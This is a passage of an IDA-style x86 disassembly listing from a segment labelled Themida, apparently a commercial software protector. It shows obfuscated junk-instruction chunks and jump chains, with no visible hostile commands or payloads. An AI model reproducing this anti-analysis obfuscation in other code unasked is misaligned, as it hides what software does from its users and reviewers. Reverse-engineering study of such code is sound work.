76A64AC7h pop ecx add ebx, 2DB14E00h sub ebx, eax push ecx mov ecx, 7EBC439Ah push eax push ebx mov ebx, 733541ACh mov eax, ebx pop ebx jmp loc_56316A ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575315 loc_567B70: ; CODE XREF: sub_575315-58Bj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_575315 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_567B75: ; CODE XREF: sub_5605BC+729Dj add ecx, esi pop esi push 7DA6h mov [esp+0], ebp mov ebp, 555B1FA0h add ebp, 30200055h and ebp, 10845C2Ah jmp loc_565818 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_567B96: ; CODE XREF: sub_571088-87CEj push ecx mov ch, dl push edx mov dh, ch mov bl, dh pop edx pop ecx pop dx jmp loc_570153 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FCD7 loc_567BA7: ; CODE XREF: sub_56FCD7-8628j mov edi, [esp+0Ch+var_C] add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_566A9E ; END OF FUNCTION CHUNK FOR sub_56FCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_567BBE: ; CODE XREF: sub_570CE4+Bj mov [esp+4+var_4], esi push ebx push 6A4D10FFh pop ebx sub ebx, 3E55E5D5h mov esi, ebx mov ebx, [esp+8+var_8] push edi mov edi, esp jmp loc_572F6D ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_567BDB: ; CODE XREF: sub_574A21+Ej add eax, 682F4722h pop ebp jmp loc_566EC9 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_567BE6: ; CODE XREF: sub_574304-EE07j mov [esp+0Ch+var_C], eax mov ebp, [esp+0Ch+var_C] add esp, 4 pop eax xor ecx, ebp xor ebp, ecx xor ecx, ebp xor [esp+4+var_4], ecx xor ecx, [esp+4+var_4] xor [esp+4+var_4], ecx push [esp+4+var_4] mov eax, [esp+8+var_8] sub esp, 4 mov [esp+0Ch+var_C], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] add esp, 4 push ebx push esp mov ebx, [esp+4+var_4] add esp, 4 push ebp jmp loc_57486F ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_567C36: ; CODE XREF: sub_563819-750j pop esi add eax, 4 xchg eax, [esp-4+arg_0] pop esp jmp loc_568A79 ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- loc_567C45: ; CODE XREF: Themida_:0056CE1Aj push esp pop ecx push edi mov edi, 4 sub ecx, 20F30807h jmp loc_563C27 ; =============== S U B R O U T I N E ======================================= sub_567C58 proc near ; DATA XREF: Themida_:0055FEACo var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005615C8 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005634F9 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00566019 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056AC89 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056ADEF SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0056BC61 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00573684 SIZE 0000001B BYTES mov cx, [esp+0] push eax sub esp, 4 push esp pop [esp+0Ch+var_C] add [esp+8+var_8], 4 pop eax push ebp mov ebp, 58F57029h shl ebp, 1 jmp loc_573684 sub_567C58 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_567C76: ; CODE XREF: sub_5687A3+285Ej push eax push ebx mov ebx, 38E22D7Fh mov eax, ebx pop ebx sub eax, 38063BB8h not eax add eax, 409F774Fh jmp loc_5699BF ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_567C91: ; CODE XREF: sub_5678CB-772Ej push ecx mov cl, 0F3h sub cl, 8Bh mov dl, cl jmp loc_570F8D ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_567C9E: ; CODE XREF: sub_574CDD-142CBj shr edi, 5 shr edi, 1 sub edi, 70DAA6h mov edx, edi pop edi add ebp, edx pop edx xor ebp, [esp+0] jmp loc_56F5DD ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_567CB7: ; CODE XREF: sub_57354D-4B38j mov [esp+0], ebp push 6597h jmp loc_5674AF ; END OF FUNCTION CHUNK FOR sub_57354D ; =============== S U B R O U T I N E ======================================= sub_567CC4 proc near ; DATA XREF: Themida_:0055FE60o push dword ptr [edi+1Ch] popf pop ax adc [esp+0], ax pushf jmp loc_55FF9F sub_567CC4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_567CD4: ; CODE XREF: sub_565632+F0E5j sub ecx, 65495C14h sub ecx, 1 xor ecx, 408F7013h jmp loc_56DDA3 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_567CE8: ; CODE XREF: sub_5673C3-2531j add ebp, edi pop edi push 3BF0h jmp loc_5664C7 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; =============== S U B R O U T I N E ======================================= sub_567CF5 proc near ; DATA XREF: Themida_:0055FE4Co var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00563402 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00565ADD SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00565F5A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00566028 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056713A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00568002 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056A461 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056AE7F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056CD22 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056D3C6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056E6B3 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056F14E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057105B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00574BD7 SIZE 0000000A BYTES mov cx, [esp+0] jmp loc_563402 sub_567CF5 endp ; =============== S U B R O U T I N E ======================================= sub_567CFE proc near ; DATA XREF: Themida_:0055FDD8o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0055FFB8 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005604BE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00561927 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00561A9B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005659F9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056B211 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056E0FB SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0056E22D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00571A5F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00572352 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005737FB SIZE 00000006 BYTES push ebp push ecx push edi push 417832CFh mov edi, [esp+10h+var_10] add esp, 4 push edx mov edx, 365D32E7h jmp loc_571A5F sub_567CFE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_567D17: ; CODE XREF: sub_571C0A-2BF8j add ebp, 864A5A56h mov edx, ebp jmp loc_562FB3 ; END OF FUNCTION CHUNK FOR sub_571C0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_567D24: ; CODE XREF: sub_570CE4+2C3Bj mov eax, 0BF87FABh shr eax, 4 jmp loc_573F09 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; =============== S U B R O U T I N E ======================================= sub_567D31 proc near ; CODE XREF: sub_56C553-9FCDj var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00560562 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00560FC8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005621C6 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00562F11 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00562F72 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00563238 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 005636AD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00564157 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00564E29 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00564E97 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00565256 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00565383 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005653B8 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056567A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00565B36 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00566C55 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00567584 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00568B10 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00569A44 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A44D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056C60A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056C8E9 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056E561 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0056F806 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00570051 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00570855 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00570D4D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005718C0 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00571974 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00571CDB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005725D0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00573252 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005742D7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00574BEB SIZE 0000000A BYTES push ebp mov ebp, 4 add ecx, ebp push dword ptr [esp+0] pop ebp jmp loc_570051 sub_567D31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_567D42: ; CODE XREF: sub_567B29+B724j push [esp+4+var_4] jmp loc_57072C ; END OF FUNCTION CHUNK FOR sub_567B29 ; --------------------------------------------------------------------------- loc_567D4A: ; CODE XREF: Themida_:0056A795j or ebx, esi pop esi sub esp, 4 jmp loc_56D523 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_567D55: ; CODE XREF: sub_56E126-BC2Dj xor esi, ebp jmp loc_570BF2 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_567D5C: ; CODE XREF: sub_561418+1308Cj mov eax, 657031Eh jmp loc_572C33 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_567D66: ; CODE XREF: sub_56628B+71F2j sub eax, ebp add eax, 6A271EE1h jmp loc_567F5F ; END OF FUNCTION CHUNK FOR sub_56628B ; =============== S U B R O U T I N E ======================================= sub_567D72 proc near ; DATA XREF: Themida_:0055FE70o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch ; FUNCTION CHUNK AT 00560F5F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005613F9 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005645DF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056C158 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0056F65B SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0057138E SIZE 00000019 BYTES push 0DE4h mov [esp+4+var_4], eax mov al, bh mov bh, [esp+4] mov [esp+4], al push [esp+4+var_4] jmp loc_56C158 sub_567D72 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_567D8C: ; CODE XREF: sub_56628B+B4BBj add eax, ebx pop ebx sub eax, 58C87DF9h add eax, ebx add eax, 58C87DF9h jmp loc_5637D3 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_567DA0: ; CODE XREF: sub_574656-75F0j mov edi, [esp+4+var_4] add esp, 4 push ebp mov ebp, 4 jmp loc_567598 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_567DB1: ; CODE XREF: sub_5690E8-53C6j mov ax, [esp+0] push 6B23h mov [esp+4+var_4], eax mov eax, esp add eax, 4 push 55A7h mov [esp+8+var_8], ebp mov ebp, 5FCC7A1Dh not ebp push esi push 7D202013h pop esi xor ebp, esi pop esi dec ebp not ebp shr ebp, 1 push eax mov eax, 60464883h or eax, 751076CFh xchg eax, esi push 7DB6h mov [esp+10h+var_10], esi jmp loc_56A368 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_567DFB: ; CODE XREF: sub_564020-29BCj shr edi, 6 add edi, 57BC18F7h sub ebx, edi pop edi jmp loc_573349 ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_567E0C: ; CODE XREF: sub_56241E+33F5j pop bx inc cx push edi mov di, 6543h jmp loc_5727DC ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57199D loc_567E1A: ; CODE XREF: sub_57199D-5474j pop ebx jmp loc_5744FC ; END OF FUNCTION CHUNK FOR sub_57199D ; --------------------------------------------------------------------------- loc_567E20: ; CODE XREF: Themida_:00567F1Aj push 334Ah jmp loc_56B60D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_567E2A: ; CODE XREF: sub_57354D-C43j or edx, eax jmp loc_563FB4 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574287 loc_567E31: ; CODE XREF: sub_574287-C9D2j add eax, 4 sub eax, 4 push eax push [esp+0Ch+var_8] pop eax pop [esp+0Ch+var_C] pop esp jmp loc_56A3C3 ; END OF FUNCTION CHUNK FOR sub_574287 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_567E4A: ; CODE XREF: sub_565632+3j mov [esp+4+var_4], eax mov eax, 0DF5461FBh sub ebp, eax pop eax add edx, ebp pop ebp pop ebx and eax, edx pop edx shr eax, 12h jmp loc_56C098 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_567E64: ; CODE XREF: sub_57146D-3BFCj add dl, 0DDh add dl, al sub dl, 0DDh mov ax, word ptr [esp+2+var_4+2] add esp, 2 add al, 67h sub al, 14h add al, dl add al, 14h jmp loc_56FF95 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_567E80: ; CODE XREF: sub_569193+1A6Fj push [esp+4+var_4] mov ebx, [esp+8+var_8] jmp loc_5636B3 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_567E8B: ; CODE XREF: sub_57523A-6014j neg eax sub eax, 0A2ED2C44h push edi jmp loc_5637C0 ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5692D3 loc_567E98: ; CODE XREF: sub_5692D3+2E6Ej mov esi, 4 jmp loc_572349 ; END OF FUNCTION CHUNK FOR sub_5692D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A016 loc_567EA2: ; CODE XREF: sub_56A016+71CCj mov ecx, 0FCE3613h jmp loc_56C0C8 ; END OF FUNCTION CHUNK FOR sub_56A016 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_567EAC: ; CODE XREF: sub_571F6F-40D2j push eax mov ah, ch mov dh, ah pop eax mov [edi+eax*4+1], dh pop edx mov ecx, [esp+8+var_8] add esp, 4 mov ebx, [esp+4+var_4] add esp, 4 jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565849 loc_567EC8: ; CODE XREF: sub_565849-238j add edx, 5DDF69C4h add edx, ebx jmp loc_57088D ; END OF FUNCTION CHUNK FOR sub_565849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575420 loc_567ED5: ; CODE XREF: sub_575420-96B1j not bh sub esp, 2 mov word ptr [esp+8+var_8], dx push 578Fh mov [esp+0Ch+var_C], ebx mov bh, 4Dh push eax mov ah, bh sub esp, 4 jmp loc_564B2D ; END OF FUNCTION CHUNK FOR sub_575420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_567EF6: ; CODE XREF: sub_56D4B8-6F43j mov edi, [esp+4+var_4] add esp, 4 mov ecx, [esp+0] jmp loc_569C9F ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564EBE loc_567F04: ; CODE XREF: sub_564EBE-AF4j push ecx mov ecx, 6DDF01B9h jmp sub_56DBB0 ; END OF FUNCTION CHUNK FOR sub_564EBE ; --------------------------------------------------------------------------- loc_567F0F: ; CODE XREF: Themida_:005665F7j sub esp, 4 mov [esp], edx push esp pop edx jmp loc_567E20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_567F1F: ; CODE XREF: sub_5754DA-9087j mov [esp+0], ecx push dx push ecx mov cl, 22h shr cl, 1 sub cl, 62h mov dl, cl pop ecx mov ch, dl jmp loc_56F1FB ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5692D3 loc_567F36: ; CODE XREF: sub_5692D3-283j pop edx not ecx xor ecx, 719209DCh jmp loc_56E1F0 ; END OF FUNCTION CHUNK FOR sub_5692D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C3E2 loc_567F44: ; CODE XREF: sub_56C3E2-872Ej mov [esp+8+var_8], ebx push 6403h mov [esp+0Ch+var_C], esi mov esi, 3EA866BFh mov ebx, esi pop esi shl ebx, 2 jmp loc_5675C6 ; END OF FUNCTION CHUNK FOR sub_56C3E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_567F5F: ; CODE XREF: sub_56628B+1AE2j mov ebp, [esp+4+var_4] jmp loc_56133D ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B71F loc_567F67: ; CODE XREF: sub_56B71F+3CE7j mov [esp+0Ch+var_C], edx jmp sub_5680AC ; END OF FUNCTION CHUNK FOR sub_56B71F ; =============== S U B R O U T I N E ======================================= sub_567F6F proc near ; DATA XREF: Themida_:0055FE98o ; FUNCTION CHUNK AT 00565DB7 SIZE 00000005 BYTES neg dword ptr [esp+0] pushf jmp loc_565DB7 sub_567F6F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_567F78: ; CODE XREF: sub_574A21-BF8Bj xor ebx, esi pop esi not ebx xor ebx, 0D3AEDDE4h sub esi, ebx pop ebx push 3B29h mov [esp+8+var_8], edx mov edx, 0BE396B59h push ecx push edx mov edx, 20926AF2h mov ecx, 2892742Ah jmp loc_561ED9 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_567FA4: ; CODE XREF: sub_561541+6B31j shl edx, 4 jmp loc_56BE87 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_567FAC: ; CODE XREF: sub_561F05+21E1j push 341Bh jmp loc_569215 ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560C12 loc_567FB6: ; CODE XREF: sub_560C12+50B3j pop edx add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] mov esp, [esp+4+var_4] pop [esp+4+var_4] mov esp, [esp+0] mov fs:[edx], ax jmp loc_56022D ; END OF FUNCTION CHUNK FOR sub_560C12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_567FD8: ; CODE XREF: sub_574A21-B783j add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_562AE0 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563BCC loc_567FF2: ; CODE XREF: sub_563BCC-F5Fj mov ebx, [esp+0] push edi mov edi, esp push 7AFh jmp loc_573D60 ; END OF FUNCTION CHUNK FOR sub_563BCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_568002: ; CODE XREF: sub_567CF5-2204j add dword ptr [esp+0], 4 mov esi, [esp+0] jmp loc_566028 ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_568011: ; CODE XREF: sub_561541+11j push 0 sub [esp+8+var_8], 6CCF6FA2h sub [esp+8+var_8], ecx add [esp+8+var_8], 6CCF6FA2h push [esp+8+var_8] pop ecx add esp, 4 jmp loc_56FAF7 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- loc_568036: ; CODE XREF: Themida_:00565BF5j mov edx, 53826E44h push edi jmp loc_575052 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_568041: ; CODE XREF: sub_56B1DC+A2CCj push 18C1h mov [esp+4+var_4], esi push 1723h mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop esi add esi, 4 push edx push ebx jmp loc_56883D ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_568063: ; CODE XREF: sub_561541+113EAj pop edx push edx mov edx, 3DC63CAh add edx, 39D85D65h not edx jmp loc_567FA4 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560782 loc_568077: ; CODE XREF: sub_560782+2j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_560782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5729F9 loc_56807C: ; CODE XREF: sub_5729F9-12108j xor bh, 71h sub al, 75h sub al, 0D5h sub esp, 4 jmp loc_574774 ; END OF FUNCTION CHUNK FOR sub_5729F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_56808E: ; CODE XREF: sub_570CE4+C38j mov eax, [esp+14h+var_14] add esp, 4 and ecx, 5E332EE5h not ecx push eax mov eax, 4B5E4776h add ecx, eax jmp loc_56A138 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; =============== S U B R O U T I N E ======================================= sub_5680AC proc near ; CODE XREF: sub_56B71F-37B5j var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00562652 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00566935 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056CA85 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056EFE6 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00573D79 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00574FA5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00575026 SIZE 0000000B BYTES push ebp pop edx jmp loc_56EFE6 sub_5680AC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_5680B3: ; CODE XREF: sub_56AB5E-7F4Fj mov dh, 0C9h push ecx jmp loc_56639A ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570019 loc_5680BB: ; CODE XREF: sub_570019-ACE3j push edx mov edx, 2EFE17BEh mov ebx, 1D6D198Dh add ebx, edx pop edx xor ebx, 5E716461h add edi, ebx mov ebx, [esp+4+var_4] add esp, 4 add edi, ebp sub edi, 121A552Ah pop ebp xor edi, [esp-4+arg_0] xor [esp-4+arg_0], edi xor edi, [esp-4+arg_0] pop esp jmp loc_566F8E ; END OF FUNCTION CHUNK FOR sub_570019 ; =============== S U B R O U T I N E ======================================= sub_5680F2 proc near ; DATA XREF: Themida_:0055FEE4o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00564441 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056B01A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056DB46 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0056EDD0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0057229C SIZE 00000014 BYTES mov ax, [esp+0] jmp loc_57229C sub_5680F2 endp ; =============== S U B R O U T I N E ======================================= sub_5680FB proc near ; DATA XREF: Themida_:0055FE6Co var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056227E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565A7A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00568159 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00569B07 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B7A6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056B907 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056BF24 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0056EFCA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F286 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00570DA7 SIZE 00000008 BYTES xor [esp+0], ebp xor ebp, [esp+0] xor [esp+0], ebp push 42A3h mov [esp+4+var_4], ebp jmp loc_56F286 sub_5680FB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_568111: ; CODE XREF: sub_56638C+3CBBj pop esp push edi mov edi, 4 add esi, 1C927267h add esi, 45F84011h add esi, edi jmp loc_562428 ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_56812B: ; CODE XREF: sub_574AF3-889j mov ebp, 4 sub ecx, 4E3E14ACh add ecx, ebp add ecx, 4E3E14ACh mov ebp, [esp+4+var_4] jmp loc_572AA0 ; END OF FUNCTION CHUNK FOR sub_574AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_568146: ; CODE XREF: sub_566117+968j push 544A1172h pop ebp not ebp push eax mov eax, 0FE96AA4Ch jmp loc_56EE8F ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680FB loc_568159: ; CODE XREF: sub_5680FB+3824j xor [esp+0], ebp xor ebp, [esp+0] xor [esp+0], ebp jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5680FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_568167: ; CODE XREF: sub_574656-4656j and eax, ebp mov ebp, [esp+0Ch+var_C] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+10h+var_10] pop esp push dword ptr [edi+1Ch] push [esp+10h+var_10] pop ecx push 3008h mov [esp+14h+var_14], edx mov edx, esp push ebx mov ebx, 3B952EDCh shr ebx, 1 shl ebx, 1 add ebx, 2A396C85h and ebx, 327604A0h xor ebx, 20460024h jmp loc_561566 ; END OF FUNCTION 